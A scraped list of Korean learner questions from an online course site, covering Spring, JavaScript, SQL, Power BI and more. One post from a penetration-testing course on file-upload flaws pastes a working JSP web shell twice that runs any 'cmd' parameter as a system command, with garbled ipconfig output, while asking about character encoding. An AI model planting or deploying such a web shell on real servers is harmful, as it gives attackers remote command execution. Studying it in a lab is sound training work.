묻고 답해요
164만명의 커뮤니티!! 함께 토론해봐요.
인프런 TOP Writers
-
미해결스프링 MVC 1편 - 백엔드 웹 개발 핵심 기술
throws Exception 관련
controller 자식 클래스에서 Exception를 메소드 방식으로 , 이를 실행하는 곳으로 다 떠 넘겨 버린거 같은데, 자식클래스에서 직접 처리하지 않고 이렇게 하는 것은 예외 처리 또한 중복되서 그런건가요?
-
미해결프로그래밍 시작하기 : 웹 입문 (Inflearn Original)
개발자 도구에 계속 이것만 뜨는데 어디에서 틀렸는지 모르겠습니다 ㅠㅠ
이게 맞는지 모르겠습니다... 다른 답변들 보면서 파일을 계속 고쳤는데 제자리걸음인 것 같아서 질문 올립니다...
-
미해결프로그래밍 시작하기 : 웹 입문 (Inflearn Original)
logo.EventListener('click ... 이 작동되지 않습니다
안녕하세요. mac 으로 강의 들으면서 작성해보고 있는 수강자인데요. 이전까지는 괜찮았는데 DOM 강의 들어서면서부터 몇몇 부분이 잘 작동이 안되더라고요... 이전 질문 찾아보면서 해보려고 노력했는데, 구글 로고 삭제나 색 변경 같은 부분은 자꾸 에러가 납니다... 어떻게 해야할지 잘 모르겠어요 ㅠㅜ
-
미해결모의해킹 실무자가 알려주는, 파일 업로드 취약점 공격 기법과 실무 사례 분석 : PART 1
JSP 한글 깨짐
<%@ page language="java" contentType="text/html; charset=EUC-KR" pageEncoding="EUC-KR" %> <%@ page import="java.io.*" %> <% request.setCharacterEncoding("EUC-KR"); %> <!DOCTYPE html> <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=EUC-KR"> <title>Document</title> <style> table{ border: 1px solid black; background-color: black; } td{ color: white; font-size: 12px; } </style> </head> <body> <% String cmd = request.getParameter("cmd"); Process ps = null; BufferedReader br = null; String line = ""; String result = ""; String now_page = request.getServletPath(); try{ if(cmd != null){ ps = Runtime.getRuntime().exec(cmd); br = new BufferedReader(new InputStreamReader(ps.getInputStream())); while((line = br.readLine())!= null){ result += line + "<br>"; } ps.destroy(); } } finally{ if(br != null) br.close(); } %> <form action="<%=now_page%>" methoad="POST"> <input type="text" name="cmd"> <input type="submit" value="EXECUTE"> </form> <hr> <table> <tr> <td><%=result%></td> </tr> </table> </body> </html> Windows IP ????????? ????? ?????:???? ???? . . . . . . . . : ???? ???? ???????? DNS ?????. . . . :????? ????? VirtualBox Host-Only Network:???? DNS ?????. . . . :???-???? IPv6 ??? . . . . : fe80::d4ff:e196:65b7:8e31%12IPv4 ??? . . . . . . . . . : 192.168.56.1????? ????? . . . . . . . : 255.255.255.0?? ????????? . . . . . . :????? ????? Npcap Loopback Adapter:???? DNS ?????. . . . :???-???? IPv6 ??? . . . . : fe80::58f7:a775:f5e8:992%16??? ???? IPv4 ??? . . . . : 169.254.9.146????? ????? . . . . . . . : 255.255.0.0?? ????????? . . . . . . :???? LAN ????? ???? ???? ????* 2:???? ???? . . . . . . . . : ???? ???? ???????? DNS ?????. . . . :???? LAN ????? ???? ???? ????* 3:???? ???? . . . . . . . . : ???? ???? ???????? DNS ?????. . . . :????? ????? VMware Network Adapter VMnet1:???? DNS ?????. . . . :???-???? IPv6 ??? . . . . : fe80::f1ac:f03a:410c:dce8%8??? ???? IPv4 ??? . . . . : 169.254.220.232????? ????? . . . . . . . : 255.255.0.0?? ????????? . . . . . . :????? ????? VMware Network Adapter VMnet8:???? DNS ?????. . . . :???-???? IPv6 ??? . . . . : fe80::3d53:cac6:432c:144d%14??? ???? IPv4 ??? . . . . : 169.254.20.77????? ????? . . . . . . . : 255.255.0.0?? ????????? . . . . . . :???? LAN ????? Wi-Fi:???? DNS ?????. . . . :???-???? IPv6 ??? . . . . : fe80::61d4:9204:78ca:69c%3IPv4 ??? . . . . . . . . . : 192.168.0.5????? ????? . . . . . . . : 255.255.255.0?? ????????? . . . . . . : 192.168.0.1????? ????? Bluetooth ?????? ???? 2:???? ???? . . . . . . . . : ???? ???? ???????? DNS ?????. . . . : <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %> <%@ page import="java.io.*" %> <% request.setCharacterEncoding("UTF-8"); %> <!DOCTYPE html> <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Document</title> <style> table{ border: 1px solid black; background-color: black; } td{ color: white; font-size: 12px; } </style> </head> <body> <% String cmd = request.getParameter("cmd"); Process ps = null; BufferedReader br = null; String line = ""; String result = ""; String now_page = request.getServletPath(); try{ if(cmd != null){ ps = Runtime.getRuntime().exec(cmd); br = new BufferedReader(new InputStreamReader(ps.getInputStream())); while((line = br.readLine())!= null){ result += line + "<br>"; } ps.destroy(); } } finally{ if(br != null) br.close(); } %> <form action="<%=now_page%>" methoad="POST"> <input type="text" name="cmd"> <input type="submit" value="EXECUTE"> </form> <hr> <table> <tr> <td><%=result%></td> </tr> </table> </body> </html> Windows IP �����̴��� ����� �̴���:�̵�� ���� . . . . . . . . : �̵�� ���� �������Ằ DNS ���̻�. . . . :�̴��� ����� VirtualBox Host-Only Network:���Ằ DNS ���̻�. . . . :��ũ-���� IPv6 �ּ� . . . . : fe80::d4ff:e196:65b7:8e31%12IPv4 �ּ� . . . . . . . . . : 192.168.56.1����� ����ũ . . . . . . . : 255.255.255.0�⺻ ����Ʈ���� . . . . . . :�̴��� ����� Npcap Loopback Adapter:���Ằ DNS ���̻�. . . . :��ũ-���� IPv6 �ּ� . . . . : fe80::58f7:a775:f5e8:992%16�ڵ� ���� IPv4 �ּ� . . . . : 169.254.9.146����� ����ũ . . . . . . . : 255.255.0.0�⺻ ����Ʈ���� . . . . . . :���� LAN ����� ���� ���� ����* 2:�̵�� ���� . . . . . . . . : �̵�� ���� �������Ằ DNS ���̻�. . . . :���� LAN ����� ���� ���� ����* 3:�̵�� ���� . . . . . . . . : �̵�� ���� �������Ằ DNS ���̻�. . . . :�̴��� ����� VMware Network Adapter VMnet1:���Ằ DNS ���̻�. . . . :��ũ-���� IPv6 �ּ� . . . . : fe80::f1ac:f03a:410c:dce8%8�ڵ� ���� IPv4 �ּ� . . . . : 169.254.220.232����� ����ũ . . . . . . . : 255.255.0.0�⺻ ����Ʈ���� . . . . . . :�̴��� ����� VMware Network Adapter VMnet8:���Ằ DNS ���̻�. . . . :��ũ-���� IPv6 �ּ� . . . . : fe80::3d53:cac6:432c:144d%14�ڵ� ���� IPv4 �ּ� . . . . : 169.254.20.77����� ����ũ . . . . . . . : 255.255.0.0�⺻ ����Ʈ���� . . . . . . :���� LAN ����� Wi-Fi:���Ằ DNS ���̻�. . . . :��ũ-���� IPv6 �ּ� . . . . : fe80::61d4:9204:78ca:69c%3IPv4 �ּ� . . . . . . . . . : 192.168.0.5����� ����ũ . . . . . . . : 255.255.255.0�⺻ ����Ʈ���� . . . . . . : 192.168.0.1�̴��� ����� Bluetooth ��Ʈ��ũ ���� 2:�̵�� ���� . . . . . . . . : �̵�� ���� �������Ằ DNS ���̻�. . . . : 한글이 깨집니다. 저번에 php때도 깨져서 EUC-KR로 바꾸니까 잘 해결됬는데 JSP는 해결이 안되네요.
-
미해결스프링 핵심 원리 - 기본편
싱글톤에 대해 궁금한 점이 생겨 질문드립니다.
싱글톤과 Configuration 애노테이션에 대해 공부하던중 궁금한 점이 생겨 이렇게 글을 작성하게 되었습니다. 싱글톤 그리고 Configuration 에 대해 제가 이해한것은 AppConfig 처럼 설정파일에 Configuration 이라는 애노테이션을 달아줄 경우, 바이트 조작이 되어, AppConfig 라는 설정파일 안에 존재하는 빈 객체들을 싱글톤으로 유지하도록 해주는것으로 이해했습니다. 해당 부분에서 생긴 궁금증은 AppConfig에서 Configuration 이라는 것을 지우고, 위 사진의 테스트 코드를 실행하면 테스트가 통과되는 것을 볼수 있는데, 설정파일에 Configuration이라는 애노테이션이 없기 때문에, 싱글톤으로 유지 하지 못해 memberService 객체와 memberRepository객체가 각각 두개 생겨야 하는 거 같은데, 테스트가 통과되고 같은 객체라고 해서요..! 혹시 제가 어떤부분을 놓친걸까요?
-
미해결실전! 스프링 부트와 JPA 활용1 - 웹 애플리케이션 개발
dto 만들 때 질문이 있습니다.
요청이나 응답 dto를 만들 때 엔티티의 임베디드 타입 필드의 경우 다 풀어서 생성해야 하나요? 아님 임베디드 타입 필드 그대로 사용해도 괜찮나요??
-
미해결Slack 클론 코딩[백엔드 with NestJS + TypeORM]
데코레이터 타이핑
삭제된 글입니다
-
미해결Flutter 입문 - 안드로이드, iOS 개발을 한 번에 (with Firebase)
import 미작동
저는 예전부터 vscode가 익숙해서 vscode를 사용하고 있는데 얼마전까진 'ctrl+.' 을 사용해서 import가 됐었는데 어느 순간부터인지 import가 작동하지 않네요. ctrl+. 을 누르면 .이 약간 위로 올라가는 모습만 나타납니다. 스택오버플로우 찾아봐도 해결책이 안나오던데 혹시 방법을 아시는지요?
-
미해결스프링 MVC 2편 - 백엔드 웹 개발 활용 기술
안녕하세요! 질문이 있습니다.
안녕하세요! 언제나 좋은 강의 감사드립니다 :) 파일업로드 예제에 대해 실습하면서 의문사항이 생겨 질문 드립니다. 처음 파일업로드를 완료한 상태에서, 따로 파일을 선택하지 않은 상태에서 웹브라우저를 새로고침하면, 저절로 이전에 파일업로드 처리가 완료된 POST /upload API 요청이 한번 더 나가서 파일업로드 처리가 한번 더 수행됩니다. 이럴경우, 사용자가 의도하지 않았는데도 파일업로드 처리가 될 우려가 있을 것 같고, 서버 측에서도 괜히 파일업도르 처리를 한번 더 수행하는 상황이 생길거 같은데,,, 왜 api call이 한번 더 나가는 걸까요?? 아니면 혹시 해결법이 있을까요? 리다이렉트를 수행시키면 될까요??
-
미해결자바스크립트 알고리즘 문제풀이 입문(코딩테스트 대비)
후속작
안녕하세요 강사님!강의 너무 잘 보고 있습니다.문제 관련 질문은 아니고 혹시 강의 후속작을 내실 계획은 없나요? 현재 강의와 마찬가지로 자바스크립트 언어를 이용해서 현 강의 난이도보다 조금 더 어려운 중급 ~ 고급 문제만 다루는 강의를 듣고싶습니다..! 강의를 듣는데 설명 엄청 잘하시고 너무 이해가 잘돼서 아쉬운 마음에 요청드려봅니다!!
-
미해결[리뉴얼] Node.js 교과서 - 기본부터 프로젝트 실습까지
fs 메서드 이름에 카멜케이스가 아닌 로우케이스가 적용된 이유가 뭘까요?
readFileSync 같은건 카멜케이스를 지켜서 네이밍 되어있는데, readdir 이나 rmdir 같은건 왜 로우케이스가 적용되어 있을까요? mkdir 이나 rmdir 같이 리눅스 명령어와 동일한 메서드는 리눅스와 동일하게 로우케이스로 쓰는 그런 느낌일까요..?
-
미해결자바스크립트 알고리즘 문제풀이 입문(코딩테스트 대비)
P값이 0이어도 괜찮지 않나요?
강의에서 P를 문자열 최대길이보다 크게 잡으신 이유를 잘 이해하지 못했습니다. 0으로 해도 문제가 풀리는데... 0으로 해도 무방하지 않나요?
-
미해결[개정판] 딥러닝 컴퓨터 비전 완벽 가이드
Anchor Box의 IOU값 관련 및 여러 질문
1. GT Box와 Anchor Box의 IOU값을 통해 Positive, Negative를 나눈다고 하셨는데, 해당 과정은 Feature Map이 아닌 원본 이미지에서 Anchor Box와 GT Box사이에서 얻어진 IOU값으로 결정이 되는 것인가요? 2. 또 제가 이해한 바로는 가장 좋은 Positive Anchor Box를 기준으로 하여 GT Box와 최대한 동일한 예측 BBox를 얻는 것이 목표다 라고 이해하였는데 맞는지 궁금합니다. 만약 맞다면 예측BBox의 초기좌표 및 w, h 값이 어떻게 설정되는 것인지 궁금합니다. 3. 또한 강의 커리큘럼에서 RCNN, SSD, YOLO 등 여러 모델이 있는데 순차적으로 듣는 것이 좋은지, 아니면 자신에게 필요하고 맞는 모델부터 우선적으로 들어도 괜찮은지 궁금합니다.
-
미해결풀스택을 위한 도커와 최신 서버 기술(리눅스, nginx, AWS, HTTPS, 배포까지) [풀스택 Part3]
질문있습니다
좋은 강의 감사합니다. 너무 기본적인 질문이라 민망한데, nginx는 nginx.conf, apache는 http.conf 등 어떤 특정 컨테이너의 설정파일을 어떻게 알 수 있나요? 도커 허브에가서 확인하는 건가요??
-
해결됨스프링 MVC 2편 - 백엔드 웹 개발 활용 기술
스프링 MVC 2편까지 들었는데
스프링 데이터 접근 기술 강의는 언제쯤 나올까요? 빨리 선생님 강의로 배우고싶네요 ㅜㅜ
-
미해결[리뉴얼] React로 NodeBird SNS 만들기
git에서 소스 코드 다운받아서 참고 하려고하는데요.
git 소스는 class로 시퀄라이즈 모델을 생성하신거 같은데 이부분은 이후 강좌에 나오는건가요?
-
미해결[백문이불여일타] 데이터 분석을 위한 중급 SQL
HAVING, WHERE, ORDER BY 질문
안녕하세요! 강의 맨 마지막 문제 Symmetric Pairs 를 풀다가 질문이 있어 글 남깁니다! 질문1. WHERE 및 HAVING에 관한 질문 SELECT * FROM Functions WHERE X = Y GROUP BY X, Y HAVING COUNT(*) = 2 -- 이 부분에서, COUNT(*)=2에 대한 조건을 HAVING이 아닌, WHERE 절에 붙이면 안되는 이유가 있을까요? 예를 들어, 아래와 같이 SELECT * FROM Functions WHERE X = Y AND COUNT(*) = 2 GROUP BY X, Y 질문2. UNION 함수에서의 ORDER BY 질문 Symmetric pairs 문제의 UNION 함수 아랫 부분에서, ORDER BY의 경우 아래 부분에만 해당 되는 것이 아니라 두개의 쿼리 모두에 적용된다고 말씀 주셨었는데, 그래서 ORDER BY 끝에 F1.X로 작성했을 때는 쿼리가 작동하지 않는건가요? 즉, UNION함수를 사용할 경우에는 반드시 맨 끝의 order by의 경우 join 함수와 상관 없이 union 해 준 두개 쿼리 모두를 아우르는 것으로만 정렬을 할 수 있는 건지 궁금합니다. UNION SELECT F1.X, F1.Y FROM Functions AS F1 LEFT JOIN Functions AS F2 ON F1.X = F2.Y AND F1.Y = F2.X WHERE F1.X < F2.X ORDER BY X 제가 질문을 잘 알아들을 수 있게 작성한 것인지 모르겠지만.. 확인 부탁드립니다. CRM 직무로 그간 일을 해왔었는데, 이전의 회사는 SQL사용이 필요 없어 전혀 해본적이 없다가 이번에 이직하게 된 회사에서는 SQL이 필요하다 하여 대리급의 직급에 이제와서 뒤늦게 SQL을 배워야 하게 되었는데요. 실제 회사에서 얼마나 잘 적용해서 일 할수 있을진 모르겠지만 그래도 이직 전에 이 강의를 듣고 부담감을 좀 덜 수 있게 되었습니다. 설명도 너무 잘해주셔서 이해도 잘 되고, 강의도 너무 길지 않아서 시간 쪼개서 듣기 좋습니다. 고생 많으세요! 시간 되실 때 답변 주시면 감사하겠습니다.
-
미해결쉽고 빠르게 익히는 Power BI 심화 1 (시각화와 파워 쿼리)
POWER BI 셰어포인트 자료의 데이터 새로고침에 대한 문의입니다.
안녕하세요. 데이터 새로 고침에서 ‘OneDrive 또는 SharePoint Online 파일’은 ‘1시간마다 자동 새로 고침’과 관련해서 문의드립니다. 조직의 M365에 특정 목적으로 셰어포인트 커뮤니케이션 사이트를 만들고 문서 라이브러리에 엑셀 파일들을 올려놓았습니다. 셰어포인트에서 파일은 아래 2가지 방법으로 POWER BI DESKTOP에 가져왔습니다. - 1개의 파일을 데스크톱 엑셀에서 메뉴 > 파일 > 경로 복사를 한 후, POWER BI에서 ‘웹’에서 가져오기 - 일별로 생성(다운)되는 자료 엑셀 파일들의 이름에 ‘특정 단어’가 들어가도록 규칙을 정한 후, POWER BI에서 ‘SHAREPOINT 폴더’에서 가져오기로 해당 셰어포인트 사이트 주소를 입력하고 파워쿼리 편집기에서 파일 이름에 포함된 ‘특정 단어’가 포함되는 파일만 보이도록 텍스트 필터를 걸어 엑셀 파일들을 결합을 했습니다. 조직의 POWER BI에서 게시하고 데이터세트를 수동으로 ‘새로고침’할 경우 자료는 바로 갱신되는데, ‘1시간 마다 자동 새로 고침’은 되고 있지 않습니다. 혹 커뮤니케이션 사이트가 안되거나, (계속 추가될 수 있는 동일 양식의 데이터 파일을 결합하려고 사용한) SHAREPOINT라도 폴더에서 가져오기가 있어서 안되는 건지 제한사항이 있는지 궁금하구요. POWER BI 데이터세트의 ‘예약된 새로 고침’ 옵션은 기본 상태는 꺼져있는 것 같은데 혹 여기서 설정을 해야한다면 어떻게 해야할지, POWER AUTOMATE 같은걸 써야하는지 해결해야하는 방법이나 피해야할 방법이 있는지 궁금합니다. 설정화면은 아래와 같습니다. 고맙습니다.
-
미해결[C++과 언리얼로 만드는 MMORPG 게임 개발 시리즈] Part4: 게임 서버
Thread Local Storage에 관련해서 질문드립니다!
선생님 수업을 잘 듣고있는 취준생입니다! Thread Local Storage에 관련해서 질문이 있는데, 전역 변수로 thread_local int32 LThreadId; 이렇게 만들어 놓은 상태로 실행되고 있는 프로그램의 쓰레드 수를 4개라고 가정했을 때, 메모리는 어떻게 잡히는 건가요? 일단 전역에 4바이트, 그리고 각 쓰레드마다 4바이트씩 잡히는 건가요? (총 20 바이트 맞나요...?) Thread Local Storage가 각 Thread 마다 각자의 공간의 독립성을 유지하고 있다면 차지하는 부분도 있을텐데 너무 궁금해서 질문을 드렸습니다.
-
미해결정말 쉽게 풀어보는 코딩 테스트 top 기본 문제 (with 자바)
left if문에 대해서
down을 시작할때 if( rowStart > rowEnd) break; 조건을 걸어주면 left쪽에 if( rowStart <= rowEnd) 조건을 안 써줘도 될까요?